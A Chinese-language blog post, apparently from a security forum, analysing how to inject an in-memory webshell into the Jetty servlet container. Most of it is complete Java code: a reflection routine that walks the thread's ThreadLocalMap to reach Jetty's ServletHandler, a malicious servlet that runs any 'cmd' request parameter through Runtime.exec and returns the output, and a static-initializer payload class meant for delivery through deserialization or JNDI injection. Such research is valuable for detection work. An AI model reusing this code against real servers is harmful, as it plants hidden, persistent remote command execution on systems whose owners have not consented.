jetty 内存马构造分析
利用自带的函数添加内存马(jdk_1_8_66)
控制器,
package org.example;
import org.eclipse.jetty.server.Server;
import org.eclipse.jetty.servlet.FilterHolder;
import org.eclipse.jetty.servlet.ServletContextHandler;
import org.eclipse.jetty.servlet.ServletHolder;
public class JettyApplication {
public static void main(String[] args) throws Exception {
Server server = new Server(8080);
ServletContextHandler context = new ServletContextHandler(ServletContextHandler.SESSIONS);
context.setContextPath("/aaa");
server.setHandler(context);
context.addServlet(new ServletHolder(new MyServlet()), "/hello");
//context.addFilter(new FilterHolder(new MyFilter()), "/*", null);
server.start();
System.out.println("Server started at http://localhost:8080/aaa/hello");
server.join();
}
}
MyServlet,
package org.example;
/*
import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
*/
import org.eclipse.jetty.servlet.ServletContextHandler;
import org.eclipse.jetty.servlet.ServletHandler;
import org.eclipse.jetty.servlet.ServletHolder;
import org.eclipse.jetty.servlet.Source;
import javax.servlet.Servlet;
import javax.servlet.ServletContext;
import javax.servlet.ServletRegistration;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
public class MyServlet extends HttpServlet {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String method = req.getMethod(); // 获取请求方法
resp.setContentType("text/plain");
switch (method) {
case "GET":
case "POST":
resp.getWriter().write("do MyServlet\n");
System.out.println("MyServlet");
break;
default:
resp.setStatus(HttpServletResponse.SC_METHOD_NOT_ALLOWED);
resp.getWriter().write("Unsupported method: " + method);
}
}
}
我们需要去了解他是怎么添加Servlet的,
这里利用SerlvetHandler类的addServletWithMapping函数执行添加动作的,
那么我们只需要获取SerlvetHandler类然后addServletWithMapping函数就可以进行添加了,
这里使用对象搜索器:https://github.com/c0ny1/java-object-searcher,
直接使用示例的代码搜索SerlvetHandler类的位置,
/*
//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("ServletContextHandler").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("C:\\Users\\tangtang\\Desktop");
searcher.searchObject();
*/
更改WebServlet,利用反射获取到ServletHandler类然后调用addServletWithMapping函数,
package org.example;
/*
import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
*/
import org.eclipse.jetty.servlet.ServletContextHandler;
import org.eclipse.jetty.servlet.ServletHandler;
import org.eclipse.jetty.servlet.ServletHolder;
import org.eclipse.jetty.servlet.Source;
import javax.servlet.Servlet;
import javax.servlet.ServletContext;
import javax.servlet.ServletRegistration;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
public class MyServlet extends HttpServlet {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String method = req.getMethod(); // 获取请求方法
resp.setContentType("text/plain");
switch (method) {
case "GET":
case "POST":
resp.getWriter().write("do MyServlet\n");
System.out.println("MyServlet");
break;
default:
resp.setStatus(HttpServletResponse.SC_METHOD_NOT_ALLOWED);
resp.getWriter().write("Unsupported method: " + method);
}
// 获取当前线程的 Context
ServletHandler servletHandler = getServletContextFromThread();
servletHandler.addServletWithMapping(new ServletHolder(new MyServlet_payload()), "/payload");
System.out.println("injection successful");
//String servletName = String.valueOf();
//String className = "/payload";
/*
ServletHandler handler = ServletContextHandler.this.getServletHandler();
ServletHolder holder = handler.getServlet(servletName);
holder = handler.newServletHolder(Source.JAVAX_API);
holder.setName(servletName);
holder.setClassName(className);
handler.addServlet(holder);
ServletContextHandler.this.dynamicHolderAdded(holder);
*/
/*
//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("ServletContextHandler").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("C:\\Users\\tangtang\\Desktop");
searcher.searchObject();
*/
}
private static ServletHandler getServletContextFromThread() {
try {
// 获取当前线程的 ThreadLocalMap
Thread currentThread = Thread.currentThread();
java.lang.reflect.Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true);
Object threadLocalMap = threadLocalsField.get(currentThread);
// 获取 ThreadLocalMap 的 table
java.lang.reflect.Field tableField = threadLocalMap.getClass().getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(threadLocalMap);
// 遍历 table 寻找 ServletContext
for (Object entry : table) {
if (entry != null) {
java.lang.reflect.Field valueField = entry.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(entry);
if (value instanceof ServletContext) {
java.lang.reflect.Field valueField_1 = value.getClass().getDeclaredField("this$0");
valueField_1.setAccessible(true);
Object value_1 = valueField_1.get(value);
java.lang.reflect.Field valueField_2 = value_1.getClass().getDeclaredField("_servletHandler");
valueField_2.setAccessible(true);
Object value_2 = valueField_2.get(value_1);
return (ServletHandler)value_2;
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
自定义恶意的servlet,MyServlet_payload,
package org.example;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;
public class MyServlet_payload extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp){
System.out.println("success!\n");
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
resp.setContentType("text/html; charset=UTF-8");
PrintWriter writer = resp.getWriter();
Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
}
然后运行访问hello,添加servlet内存马成功,访问payload进行连接,
filter内存马和servlet内存马的添加流程类似,
获取ServletHandler类然后调用addFilterWithMapping函数添加filter,
因此只需要将addServletWithMapping更改为addFilterWithMapping函数,然后自定义恶意filter就行,
以上方法是通过分析自带的方法直接获取相应类的方法去添加servlet/filter,相对简单,
还有一种思路是分析他是怎么取出相应的servlet/filter然后运行,或者对添加的函数更加细节的分析,
当存在一些热部署时,就可以贴以上代码,
或者利用反序列化加载字节码的地方、jndi注入,就可以直接生成一个恶意类,如,
package org.example;
import org.eclipse.jetty.servlet.ServletHandler;
import org.eclipse.jetty.servlet.ServletHolder;
import javax.servlet.ServletContext;
public class Payload {
static {
try {
// 获取当前线程的 ThreadLocalMap
Thread currentThread = Thread.currentThread();
java.lang.reflect.Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true);
Object threadLocalMap = threadLocalsField.get(currentThread);
// 获取 ThreadLocalMap 的 table
java.lang.reflect.Field tableField = threadLocalMap.getClass().getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(threadLocalMap);
// 遍历 table 寻找 ServletContext
for (Object entry : table) {
if (entry != null) {
java.lang.reflect.Field valueField = entry.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(entry);
if (value instanceof ServletContext) {
java.lang.reflect.Field valueField_1 = value.getClass().getDeclaredField("this$0");
valueField_1.setAccessible(true);
Object value_1 = valueField_1.get(value);
java.lang.reflect.Field valueField_2 = value_1.getClass().getDeclaredField("_servletHandler");
valueField_2.setAccessible(true);
Object value_2 = valueField_2.get(value_1);
ServletHandler servletHandler = (ServletHandler)value_2;
servletHandler.addServletWithMapping(new ServletHolder(new MyServlet_payload()), "/payload");
System.out.println("injection successful");
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
0 条评论
可输入 255 字